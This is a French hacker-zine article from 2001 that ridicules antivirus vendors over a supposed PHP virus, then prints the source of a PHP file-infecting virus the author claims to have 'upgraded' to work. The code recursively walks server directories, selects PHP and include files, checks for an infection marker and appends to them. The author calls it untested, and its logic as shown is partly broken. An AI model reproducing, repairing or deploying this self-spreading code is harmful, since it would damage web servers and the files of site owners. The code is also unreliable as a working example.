_ ______________________ _ -*9*- `^°*;:,.> Un virus PHP <.,:;*°^` _____________________________/¯¯¯ By Savate Powa ¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Il y a quelques mois (voir la date de publication pour se situer dans le temps), certaines sociétés d'antivirus ont publié un bulletin de sécurité annoncant l'arrivée d'un virus en php. Le nom de code de ce virus etait PHP.Pirus. On a donc contacté les grandes marques de lessive pour leur demander un echantillon mais y a pas eu moyen d'obtenir un seul octet du code dont il était question. Il faut dire qu'un virus qui repose sur un langage comme php, c'est assez difficile a imaginer etant donné que le langage repose sur des restrictions propres au serveur web qui lui meme repose sur des restrictions propres au systeme. Au cours des recherches effectuees dans les forums bien branchés pour se procurer la source de ce soit-disant code devastateur, on a pu constater que tout le monde se foutait de notre gueule en disant que c'etait un bruit que m$ faisait courir pour freiner la progression de ce langage (gratuit) et faire grossir la parano aupres des investisseurs. Apparemment la réponse des boites d'antivirus a été rapide puisque a peine une semaine apres on a vu apparaitre un peu partout un code dont la signature ressemble a s'y méprendre a celle du PHP.PIRUS mais dont le contenu n'a rien a voir avec la choucroute. Ce virus s'appelle New0rd.php et il contient des references sur une adresse email qui n'apparait dans aucun moteur de recherche, un site web qui n'existe nulle part 1) Ce code est effectivement détecté comme un virus, mais il ne fonctionne pas 2) Ce code, s'il fonctionnait, ne fonctionnerait que sous windows, et encore il faudrait regler quelques bugs pour que ca marche 3) Les fichiers qu'il est censé infecter sont aussi des fichiers htm, hta, htt et ces fichiers n'ont jamais éxécuté du php, donc l'infection est nulle. 4) Le repertoire infecté par ce virus est c:\windows et personne n'est assez stupide pour en faire un repertoire de travail pour fichiers php Bref autant de raisons qui amenent a se demander si les premiers cas de virus php n'auraient pas vu le jour dans les laboratoires de ces sociétés antivirales qui les ont annoncés. Ces pharmacies de l'internet tenteraient elles de faire la meme manoeuvre que leurs confreres de la réalité en fournissant eux aussi les nouveaux problemes et les nouvelles solutions ? Si c'est le cas on va les faire travailler un peu. Un virus est détectable grace a plusieurs methodes, la plus répandue sur des systemes de type X est de faire une recherche en grep sur une chaine hexa. Sur windoz ca se passe un peu differement a cause du code proprietaire mais en ce qui concerne la detection dans un fichier ascii, il n'y a que cette methode qui compte. Etant donné que php est un langage de programmation tres souple et donc modulable sur la syntaxe, il est tres difficile de savoir si un script est un virus ou pas. C'est l'utilisation que le webmaster en fait qui peut representer un danger, et non pas le script en lui meme. Une autre methode consiste a surveiller tous les acces de fichiers et a estimer grace a une formule complexe si les acces aux fichiers sont legitimes ou pas (methode heuristique). Cette methode permet de detecter les virus polymorphes, mais permet aussi de detecter les vieux virus dont le comportement ne change plus depuis des annees (worm). Nous avons reprogrammé l'echantillon subterfuge de nos amis les createurs d'antivirus (les pharmaciens de l'internet MOUARF) en lui ajoutant un peu de sel pour qu'il infecte differemment tous les fichiers qu'il rencontre. Il a fallut régler les 4 problemes cités plus haut et procéder a un changement de signature (les greetz sont toujours la c'est un virus GPL ;-), ajouter des commentaires en anglais (pour qu'il soit publié) et trouver une machine pour le tester .... sauf qu'on n'a pas trouvé de machine pour le tester (hey c'est pas moi qui vais faire le menage hein?). Au fait vous trouvez pas ca bizarre que tous les auteurs de virus bidons ont la lettre X dans leur adresse email. Y prennent vraiment les gens pour des cons dans les pharmacies du web.. save the trees, eat beavers ! // brought to you by the sAvAte on 20-march-2001 // here is the new signature : -=#~ // Specs : This virus runs only on php4 // Payload : big server load (exponential to traffic) // Signature : ascii string // Stability : not tested function infect() { // get more time if possible @set_time_limit(0); if(ereg("win", strtolower(PHP_OS))) { // get windir content $all = @opendir('C:\Windows\'); } else { // get dir content $all = @opendir("./"); } while ($file = @readdir($all)) { // Recursive infection if(is_dir($file)) { @chdir($file); // change directory infect(); // infect folder and subfolders @chdir("../"); // change back directory } $inf = true; if ( strstr($file, '.php') || strstr($file, '.class') || strstr($file, '.inc') || strstr($file, '.php3') || strstr($file, '.php4') ) { // filename is good candidate for infection, is it writeable? if ( is_file($file) && is_writeable($file) ) { $new = @fopen($file, "r"); $look = @fread($new, @filesize($file)); // check write for false if already infected if(strstr($look, '-=#~')) $inf = false; @fclose($new); } else { // try chmodding in a near future $inf=false; } } if ($inf==true) { // Note : this should not work if the server has a good setup // (safe mode enabled, suexec) $new = @fopen($file, "a"); @fputs($new, ""); @fclose($new); } } @closedir($all); } // The New0rld.PHP Virus was originally Made By Xmorfic (www.shadowvx.com/bcvg) // but it looked like this virus would never have worked, well now it does ! // This virus has been *upgraded* with the following stuffs : // 1) threw all code into a function so it doesn't wreck the global variables // 2) activated the payload ($fput() didn't do anything) // 3) morphing enabled (every mark is different so it makes the scan difficult) // 4) recursivity handled (checks local folder and subfolders) // LETS GO ! infect(); ?>